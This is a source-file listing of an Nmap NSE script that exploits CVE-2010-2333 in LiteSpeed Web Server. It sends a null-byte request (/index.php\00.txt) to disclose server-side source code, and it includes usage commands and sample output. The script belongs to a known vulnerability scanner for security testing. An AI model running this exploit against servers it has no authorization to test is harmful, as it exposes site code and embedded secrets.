File: http-litespeed-sourcecode-download.nse

package info (click to toggle)
nmap 7.40-1
  • links: PTS, VCS
  • area: main
  • in suites: stretch
  • size: 50,080 kB
  • ctags: 26,777
  • sloc: ansic: 98,862; cpp: 64,063; python: 17,751; sh: 14,584; xml: 11,448; makefile: 2,635; perl: 2,585; yacc: 660; lex: 457; asm: 372; java: 45; objc: 43
file content (74 lines) | stat: -rw-r--r-- 2,621 bytes parent folder | download | duplicates (2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
local http = require "http"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"

description = [[
Exploits a null-byte poisoning vulnerability in Litespeed Web Servers 4.0.x
before 4.0.15 to retrieve the target script's source code by sending a HTTP
request with a null byte followed by a .txt file extension (CVE-2010-2333).

If the server is not vulnerable it returns an error 400. If index.php is not
found, you may try /phpinfo.php which is also shipped with LiteSpeed Web
Server. The attack payload looks like this:
* <code>/index.php\00.txt</code>

References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333
* http://www.exploit-db.com/exploits/13850/
]]

---
-- @usage
-- nmap -p80 --script http-litespeed-sourcecode-download --script-args http-litespeed-sourcecode-download.uri=/phpinfo.php <host>
-- nmap -p8088 --script http-litespeed-sourcecode-download <host>
--
-- @output
-- PORT     STATE SERVICE    REASON
-- 8088/tcp open  radan-http syn-ack
-- | http-litespeed-sourcecode-download.nse: /phpinfo.php source code:
-- | <HTML>
-- | <BODY>
-- |    <?php phpinfo() ?>
-- | </BODY>
-- |_</HTML>
--
-- @args http-litespeed-sourcecode-download.uri URI path to remote file
---

author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}


portrule = shortport.http

action = function(host, port)
  local output = {}
  local rfile = stdnse.get_script_args("http-litespeed-sourcecode-download.uri") or "/index.php"

  stdnse.debug1("Trying to download the source code of %s", rfile)
  --we append a null byte followed by ".txt" to retrieve the source code
  local req = http.get(host, port, rfile.."\00.txt")

  --If we don't get status 200, the server is not vulnerable
  if req.status then
    if req.status ~= 200 then
      if req.status == 400 and nmap.verbosity() >= 2 then
        output[#output+1] = "Request with null byte did not work. This web server might not be vulnerable"
      elseif req.status == 404 and nmap.verbosity() >= 2 then
        output[#output+1] = string.format("Page: %s was not found. Try with an existing file.", rfile)
      end
      stdnse.debug2("Request status:%s body:%s", req.status, req.body)
    else
      output[#output+1] = "\nLitespeed Web Server Source Code Disclosure (CVE-2010-2333)"
      output[#output+1] = string.format("%s source code:", rfile)
      output[#output+1] = req.body
    end
  end

  if #output>0 then
    return stdnse.strjoin("\n", output)
  end
end